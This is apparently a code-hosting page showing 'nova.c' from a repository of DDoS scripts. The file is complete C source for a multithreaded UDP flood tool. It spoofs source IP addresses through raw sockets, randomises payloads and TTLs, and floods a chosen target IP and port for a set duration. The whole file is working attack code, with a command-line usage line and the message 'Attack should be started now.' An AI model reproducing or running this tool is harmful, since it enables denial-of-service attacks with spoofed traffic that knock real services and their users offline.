Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/UDP/nova.c
4607 views
1
/*
2
N O V A 2.0
3
4
Method made by Alemalakra @2018.
5
6
Azk methods are a bullshit, Mexican always beat French's.
7
*/
8
9
#include<stdio.h>
10
#include<string.h>
11
#include<sys/socket.h>
12
#include<stdlib.h>
13
#include<errno.h>
14
#include<netinet/udp.h>
15
#include<netinet/ip.h>
16
#include<arpa/inet.h>
17
#include<pthread.h>
18
#include<stdint.h>
19
#include<unistd.h>
20
#include<sys/types.h>
21
#include<stdbool.h>
22
#include<time.h>
23
24
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
25
char ipv4src[17];
26
char * payload_data;
27
int Checksum;
28
int Source_Local = 0;
29
static unsigned int floodport;
30
volatile unsigned int game = 1;
31
volatile int limiter;
32
volatile unsigned int packets_per_second;
33
volatile unsigned int sleeptime = 100;
34
35
/*
36
96 bit (12 bytes) pseudo header needed for udp header checksum calculation.
37
*/
38
struct pseudo_header
39
{
40
u_int32_t source_address;
41
u_int32_t dest_address;
42
u_int8_t placeholder;
43
u_int8_t protocol;
44
u_int16_t udp_length;
45
};
46
47
/*
48
Local-IPv4 Function Splitter.
49
*/
50
char *local_ipv4_target(char *baseip) {
51
struct in_addr ipaddress, subnetmask;
52
inet_pton(AF_INET, baseip, &ipaddress);
53
inet_pton(AF_INET, "255.255.255.0", &subnetmask);
54
unsigned long first_ip = ntohl(ipaddress.s_addr & subnetmask.s_addr);
55
unsigned long last_ip = ntohl(ipaddress.s_addr | ~(subnetmask.s_addr));
56
unsigned long ipfinal = htonl((rand() % (last_ip - first_ip + 1)) + first_ip);
57
char *result = malloc(INET_ADDRSTRLEN);
58
inet_ntop(AF_INET, &ipfinal, result, INET_ADDRSTRLEN);
59
return result;
60
}
61
62
/*
63
Generic checksum calculation function, (Unliky all public scripts, This sending valid packets serial, Of course with Opt in Argument.)
64
*/
65
unsigned short csum(unsigned short *ptr,int nbytes)
66
{
67
register long sum;
68
unsigned short oddbyte;
69
register short answer;
70
71
sum=0;
72
while(nbytes>1) {
73
sum+=*ptr++;
74
nbytes-=2;
75
}
76
77
if(nbytes==1) {
78
oddbyte=0;
79
*((u_char*)&oddbyte)=*(u_char*)ptr;
80
sum+=oddbyte;
81
}
82
83
sum = (sum>>16)+(sum & 0xffff);
84
sum = sum + (sum>>16);
85
answer=(short)~sum;
86
87
88
return(answer);
89
}
90
91
/*
92
String/Number replace for %r% and %n% new function on Nova 2.0.
93
*/
94
95
char *replace_nova(char *str, char *toReplace, int onlyNumbers) {
96
char *result;
97
int toReplaceLen = strlen(toReplace);
98
int i, cnt = 0;
99
for (i = 0; str[i] != '\0'; i++) {
100
if (strstr(&str[i], toReplace) == &str[i]) {
101
cnt++;
102
i += toReplaceLen - 1;
103
}
104
}
105
result = (char *)malloc(i + cnt * (1 - toReplaceLen) + 1); // 1 caracter aleatorio - toReplaceLen
106
char randchar[2];
107
randchar[1] = '\0';
108
i = 0;
109
while (*str) {
110
if (strstr(str, toReplace) == str) {
111
randchar[0] = (char)onlyNumbers ? (rand() % (48 - 57 + 1)) + 48 : (rand() % (122 - 97 + 1)) + 97;
112
strcpy(&result[i], randchar);
113
i += 1; // 1 caracter aleatorio
114
str += toReplaceLen;
115
} else {
116
result[i++] = *str++;
117
}
118
}
119
result[i] = '\0';
120
return result;
121
}
122
123
/*
124
IPv4 Generation Function (Made by me, took me some time, But yh).
125
*/
126
char * ipv4_generator(char *par1, char * targettr, int Source_Local) {
127
if (Source_Local == 1) { // Yes Source Local Spoof.
128
return local_ipv4_target(par1);
129
} else { // Random IPv4
130
snprintf(ipv4src, sizeof(ipv4src)-1, "%d.%d.%d.%d", rand()%254, rand()%254, rand()%254, rand()%254);
131
}
132
return ipv4src;
133
}
134
135
/*
136
Nova flood thread. (Each thread)
137
*/
138
void *nova_thread(void *par1) {
139
// Target.
140
char *targettr = (char *)par1;
141
//Create a raw socket of type IPPROTO. (IPv4 Of course...)
142
int s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
143
if(s == -1) {
144
//socket creation failed, may be because of non-root privileges.
145
perror("Failed to create raw socket, Get root eh?");
146
exit(1);
147
}
148
//Datagram to represent the packet
149
char datagram[4096] , source_ip[32] , *data , *pseudogram;
150
//zero out the packet buffer
151
memset (datagram, 0, 4096);
152
//IP header
153
struct iphdr *iph = (struct iphdr *) datagram;
154
//UDP header
155
struct udphdr *udph = (struct udphdr *) (datagram + sizeof (struct ip));
156
struct sockaddr_in sin;
157
struct pseudo_header psh;
158
//Data part
159
data = datagram + sizeof(struct iphdr) + sizeof(struct udphdr);
160
strcpy(data , payload_data);
161
162
// Source IPv4.
163
strcpy(source_ip , "255.255.255.255");
164
sin.sin_family = AF_INET;
165
sin.sin_port = htons(floodport);
166
sin.sin_addr.s_addr = inet_addr (targettr);
167
//Fill in the IP Header
168
iph->ihl = 5;
169
iph->version = 4;
170
iph->tos = 0;
171
iph->tot_len = sizeof (struct iphdr) + sizeof (struct udphdr) + strlen(data);
172
iph->id = htonl (54321); //Id of this packet
173
iph->frag_off = 0;
174
iph->ttl = rand()%255;
175
iph->protocol = IPPROTO_UDP;
176
iph->check = 0; //Set to 0 before calculating checksum
177
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
178
iph->daddr = sin.sin_addr.s_addr;
179
// IPv4 Checksum-
180
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
181
//UDP header
182
udph->source = htons (rand()%10000);
183
udph->dest = htons (floodport);
184
udph->len = htons(8 + strlen(data));
185
udph->check = 0; //leave checksum 0 now, filled later by pseudo header
186
//Now the UDP checksum using the pseudo header.
187
psh.source_address = inet_addr( source_ip );
188
psh.dest_address = sin.sin_addr.s_addr;
189
psh.placeholder = 0;
190
psh.protocol = IPPROTO_UDP;
191
psh.udp_length = htons(sizeof(struct udphdr) + strlen(data) );
192
int psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + strlen(data);
193
pseudogram = malloc(psize);
194
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
195
memcpy(pseudogram + sizeof(struct pseudo_header) , udph , sizeof(struct udphdr) + strlen(data));
196
udph->check = csum( (unsigned short*) pseudogram , psize);
197
srand(time(NULL));
198
while (1)
199
{
200
//Send the packet
201
sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin));
202
iph->ttl = rand()%255;
203
// EMPEZAR TEST AQUI CTRL ZETA
204
205
udph->source = htons (rand()%10000);
206
udph->len = htons(8 + strlen(data));
207
udph->check = 0;
208
strcpy(source_ip , ipv4_generator((char *) par1, targettr, Source_Local));
209
iph->saddr = inet_addr ( source_ip );
210
psh.source_address = inet_addr( source_ip );
211
psh.dest_address = sin.sin_addr.s_addr;
212
psh.placeholder = 0;
213
psh.protocol = IPPROTO_UDP;
214
psh.udp_length = htons(sizeof(struct udphdr) + strlen(data) );
215
216
if(strstr(payload_data, "%r%") != NULL || strstr(payload_data, "%n%") != NULL) {
217
data = datagram + sizeof(struct iphdr) + sizeof(struct udphdr);
218
strcpy(data , replace_nova(payload_data, "%r%", 0));
219
strcpy(data , replace_nova(data, "%n%", 1));
220
iph->tot_len = sizeof (struct iphdr) + sizeof (struct udphdr) + strlen(data);
221
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
222
udph->len = htons(8 + strlen(data));
223
224
if (Checksum == 0) {
225
udph->check = 0;
226
} else {
227
psh.udp_length = htons(sizeof(struct udphdr) + strlen(data) );
228
229
psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + strlen(data);
230
pseudogram = malloc(psize);
231
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
232
memcpy(pseudogram + sizeof(struct pseudo_header) , udph , sizeof(struct udphdr) + strlen(data));
233
234
udph->check = csum( (unsigned short*) pseudogram , psize);
235
}
236
} else {
237
if (Checksum == 0) {
238
udph->check = 0;
239
} else {
240
psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + strlen(data);
241
pseudogram = malloc(psize);
242
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
243
memcpy(pseudogram + sizeof(struct pseudo_header) , udph , sizeof(struct udphdr) + strlen(data));
244
udph->check = csum( (unsigned short*) pseudogram , psize);
245
}
246
}
247
248
249
}
250
}
251
252
/*
253
Main function. (Threads, Arguments, PPS Limiter, Custom Payload, Etc, Etc..)
254
*/
255
int main(int argc, char *argv[ ]){
256
if(argc < 9){
257
fprintf(stdout, "[!] Nova v2.0 by Alemalakra.\n");
258
fprintf(stdout, "[!] Usage: %s <IP> <PORT> <PAYLOAD> <THREADS> <PPS> <TIME> <CHECKSUM> <SOURCE_LOCAL>\n", argv[0]);
259
fprintf(stdout, "[!] Get details contacting me on Telegram.\n");
260
exit(-1);
261
}
262
int i = 0;
263
//game = atoi(argv[3]);
264
int num_threads = atoi(argv[4]);
265
int maxpps = atoi(argv[5]);
266
payload_data = argv[3];
267
floodport = atoi(argv[2]);
268
Checksum = atoi(argv[7]);
269
Source_Local = atoi(argv[8]);
270
limiter = 0;
271
packets_per_second = 0;
272
int multiplier = 20;
273
pthread_t thread[num_threads];
274
struct thread_data td[num_threads];
275
276
for(i = 0;i<num_threads;i++){
277
pthread_create( &thread[i], NULL, &nova_thread, (void *) argv[1]);
278
}
279
fprintf(stdout, "[!] Preparing payload.... DONE!\n");
280
fprintf(stdout, "[!] Attack should be started now.\n");
281
282
for(i = 0;i<(atoi(argv[6])*multiplier);i++) {
283
usleep((1000/multiplier)*1000);
284
if((packets_per_second*multiplier) > maxpps) {
285
if(1 > limiter) {
286
sleeptime+=100;
287
} else {
288
limiter--;
289
}
290
} else {
291
limiter++;
292
if(sleeptime > 25) {
293
sleeptime-=25;
294
} else {
295
sleeptime = 0;
296
}
297
}
298
packets_per_second = 0;
299
}
300
301
return 0;
302
}
303